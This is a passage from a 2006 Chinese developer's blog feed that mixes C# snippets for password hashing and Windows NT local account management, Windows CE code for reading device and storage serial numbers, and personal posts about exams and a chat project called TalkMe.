style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Password;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;NewMiMa(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Password)&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">新密码加密</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">{<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;a&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;MakePassword();<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;p&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;a&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Password;<BR>Password&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;FormsAuthentication.HashPasswordForStoringInConfigFile(p,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">MD5</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;a&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Password;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">private</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;MakePassword()<BR>{&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;pwdlen&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">2</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">生成随机字符的位数</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;pwdchars&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">abcdefghijklmnopkrstuvwxyzZBCDEFGHIJKLMNOPKRSTUVWXYZ</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">生成的字符包含那字</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;tmpstr&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">;&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;iRandNum;&nbsp;<BR>Random&nbsp;rnd&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;Random();&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">for</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;i</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">;i</SPAN><SPAN style="COLOR: #000000">&lt;</SPAN><SPAN style="COLOR: #000000">pwdlen;i</SPAN><SPAN style="COLOR: #000000">++</SPAN><SPAN style="COLOR: #000000">)<BR>{&nbsp;<BR>iRandNum&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;rnd.Next(pwdchars.Length);&nbsp;<BR>tmpstr&nbsp;</SPAN><SPAN style="COLOR: #000000">+=</SPAN><SPAN style="COLOR: #000000">&nbsp;pwdchars[iRandNum];&nbsp;<BR>}&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;tmpstr;&nbsp;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR>}<BR>}<BR><BR>&nbsp;&nbsp;<BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=308" /> 
	  <id>http://www.openx.cn/default.asp?id=308</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C# 管理WinNt 帐号]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-28T16:47:19+08:00</updated>
	  <published>2006-06-28T16:47:19+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">WinNT用户管理</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.DirectoryServices;&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">namespace</SPAN><SPAN style="COLOR: #000000">&nbsp;Host.AdminManager.Inc<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;WindwosUser<BR>{<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">创建NT用户<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">传入参数：Username要创建的用户名，Userpassword用户密码，Path主文件夹路径</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">bool</SPAN><SPAN style="COLOR: #000000">&nbsp;CreateNTUser(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Username,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Userpassword,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Path)<BR>{<BR>DirectoryEntry&nbsp;obDirEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">try</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>obDirEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">WinNT://</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Environment.MachineName);<BR>DirectoryEntry&nbsp;obUser&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;obDirEntry.Children.Add(Username,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">User</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">增加用户名</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">obUser.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">FullName</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Add(Username);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">用户全称</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">obUser.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">SetPassword</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;Userpassword);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">用户密码</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">obUser.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Put</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Description</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Test&nbsp;User&nbsp;from&nbsp;.NET</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">用户详细描述<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">obUser.Invoke("Put","PasswordExpired",1);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">用户下次登录需更改密码</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">obUser.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Put</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">UserFlags</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">66049</SPAN><SPAN style="COLOR: #000000">);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">密码永不过期</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">obUser.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Put</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">HomeDirectory</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,Path);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">主文件夹路径</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">obUser.CommitChanges();</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">保存用户</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">DirectoryEntry&nbsp;grp&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;obDirEntry.Children.Find(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Users</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">group</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">Users组</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(grp.Name</SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR>grp.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Add</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,obUser.Path.ToString());</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">将用户添加到某组</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">}<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">catch</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">false</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">删除NT用户<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">传入参数：Username用户名</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">bool</SPAN><SPAN style="COLOR: #000000">&nbsp;DelNTUser(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Username)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">try</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>DirectoryEntry&nbsp;obComputer&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">WinNt://</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Environment.MachineName);</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">获得计算机实例</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">DirectoryEntry&nbsp;obUser&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;obComputer.Children.Find(Username,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">User</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">找得用户</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">obComputer.Children.Remove(obUser);</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">删除用户</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">catch</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">false</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR>}<BR><BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">修改NT用户密码<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">传入参数：Username用户名，Userpassword用户新密码</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">bool</SPAN><SPAN style="COLOR: #000000">&nbsp;InitNTPwd(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Username,</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;Userpassword)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">try</SPAN><SPAN style="COLOR: #000000"><BR>{<BR>DirectoryEntry&nbsp;obComputer&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">WinNt://</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Environment.MachineName);<BR>DirectoryEntry&nbsp;obUser&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;obComputer.Children.Find(Username,</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">User</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>obUser.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">SetPassword</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;Userpassword);<BR>obUser.CommitChanges();<BR>obUser.Close();<BR>obComputer.Close();<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">catch</SPAN><SPAN style="COLOR: #000000"><BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">false</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR>}<BR>}<BR>}<BR><BR>&nbsp;<BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=307" /> 
	  <id>http://www.openx.cn/default.asp?id=307</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[一个不错的Flash]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-28T14:25:15+08:00</updated>
	  <published>2006-06-28T14:25:15+08:00</published>
		  <summary type="html"><![CDATA[[swf]http://www.pconline.com.cn/pcedu/carton/xp/0606/flash/16fight.swf[/swf]]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=306" /> 
	  <id>http://www.openx.cn/default.asp?id=306</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[考试结束~嘿嘿~等毕业证书啦~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-26T12:48:29+08:00</updated>
	  <published>2006-06-26T12:48:29+08:00</published>
		  <summary type="html"><![CDATA[<P>两年~嘿嘿~两年哇~不容易哇~</P>
<P>周天终于了结了一大庄心事.等毕业证书啦~</P>
<P>人生有计划才更精彩.</P>
<P>25岁前的证书计划还差个驾驶证没考.努力努力.</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=305" /> 
	  <id>http://www.openx.cn/default.asp?id=305</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[TalkMe的计划]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-06-23T18:20:19+08:00</updated>
	  <published>2006-06-23T18:20:19+08:00</published>
		  <summary type="html"><![CDATA[<P>接着给TalkMe的开发写个计划.</P>
<P>第一期:完成基础框架的搭建(网站的搭建,用户控制部分,数据通信部分),如果不出意外可以在7月18日前完成.</P>
<P>第二期:完成桌面版开发,功能上增强个性定制等.可能需要个把月,这样我的想法基本算是都实现了.这时候可以推出Demo给大家用了.</P>
<P>第三期:完成扩展功能的开发,网络硬盘,网络收藏夹,RSS浏览器,通讯录等.这时候会在社区上收集大家的意见,看情况开发新功能跟服务.</P>
<P>第四期:进行与其他IM平台的结合,MSN,GTalk等.不断完善,不断提高,力求完美.</P>
<P>第五期:如果工作还顺利不用考虑吃饭问题,如果那台老服务器还没挂,还会继续TalkMe.呵呵.</P>
<P>第六期:.....</P>
<P>第七期:.......</P>
<P>第八期:.........</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=303" /> 
	  <id>http://www.openx.cn/default.asp?id=303</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[这段时间一有时间就给TalkMe做大手术.]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=8" label="TalkMe" /> 
	  <updated>2006-06-23T18:10:00+08:00</updated>
	  <published>2006-06-23T18:10:00+08:00</published>
		  <summary type="html"><![CDATA[<P>刚刚更新了TalkMe.cn的主页,汇报了一下最近针对TalkMe的工作.</P>
<P>现在的想法相当成熟,我会一鼓作气做下去地,只要一有时间.</P>
<P>不过在做WEBTalk 跟 TalkMe的过程中感觉这一个人想做一件事情还真有点不容易.</P>
<P>毕竟开发一套系统不是那么简单的事情(做架构,写代码,做页面,弄图片,自己都快成多面手了).呵呵~</P>
<P>&nbsp;</P>
<P>还是不断学习,不断完善,尽早推出TalkMe.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=302" /> 
	  <id>http://www.openx.cn/default.asp?id=302</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[收到Windows Live Mail Desktop Beta邮件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-22T10:01:16+08:00</updated>
	  <published>2006-06-22T10:01:16+08:00</published>
		  <summary type="html"><![CDATA[<P>收到 Windows Live Mail Desktop Beta 邮件 下载安装后发现~不能用丫丫的~</P>
<P>&nbsp;</P>
<P>不知道有木有人遇到同样的问题的~</P>
<P>&nbsp;</P>
<P>说我网络未连接~嘎嘎~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=301" /> 
	  <id>http://www.openx.cn/default.asp?id=301</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[终于获得Google相册邀请啦~嘎嘎~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-20T09:25:07+08:00</updated>
	  <published>2006-06-20T09:25:07+08:00</published>
		  <summary type="html"><![CDATA[<P><A href="http://picasaweb.google.com/home">http://picasaweb.google.com/home</A></P>
<P>&nbsp;</P>
<P>正在疯狂试用中~</P>
<P>&nbsp;</P>
<P>250MB的空间应该够放~哈哈</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=300" /> 
	  <id>http://www.openx.cn/default.asp?id=300</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[获得存储卡ID的代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-06-17T20:03:15+08:00</updated>
	  <published>2006-06-17T20:03:15+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="FONT-SIZE: 12px">主要也是使用IoCtl函数：<BR>unsigned char* GetStroageID(LPCTSTR szDisk)<BR>{<BR>&nbsp; &nbsp; &nbsp; &nbsp; //HANDLE hDisk = CreateFile(_T("DSK1:"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); <BR>&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hDisk = CreateFile(szDisk, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); <BR>&nbsp; &nbsp; &nbsp; &nbsp; if (!hDisk) return FALSE;<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; PSTORAGE_IDENTIFICATION pStoreInfo = (PSTORAGE_IDENTIFICATION) new BYTE[3000];<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; DWORD dwBytesRet;<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_STORAGEID, NULL, 0, pStoreInfo, 3000, &dwBytesRet, NULL))<BR>&nbsp; &nbsp; &nbsp; &nbsp; {<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD err = GetLastError(); <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delete [] pStoreInfo; <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(hDisk); <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return FALSE; <BR>&nbsp; &nbsp; &nbsp; &nbsp; }<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; BYTE *ManuID = (((BYTE *)pStoreInfo) + pStoreInfo-&gt;dwManufactureIDOffset); <BR>&nbsp; &nbsp; &nbsp; &nbsp; BYTE *SerialNo = (((BYTE *)pStoreInfo) + pStoreInfo-&gt;dwSerialNumOffset);<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; return SerialNo;<BR>}</SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=299" /> 
	  <id>http://www.openx.cn/default.asp?id=299</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[取得PPC2003设备机身设备序号的EVC程序和代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-06-17T19:57:12+08:00</updated>
	  <published>2006-06-17T19:57:12+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="FONT-SIZE: 12px">主要是使用KernelIOControl这个函数<BR>CString GetSerialNumberFromKernelIoControl()<BR>{<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;DWORD dwOutBytes;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;const int nBuffSize = 4096;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;byte arrOutBuff[nBuffSize];<BR><BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;BOOL bRes = ::KernelIoControl(IOCTL_HAL_GET_DEVICEID, <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 0, 0, arrOutBuff, nBuffSize, &dwOutBytes);<BR><BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if (bRes) <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{<BR>&nbsp; &nbsp;&nbsp; 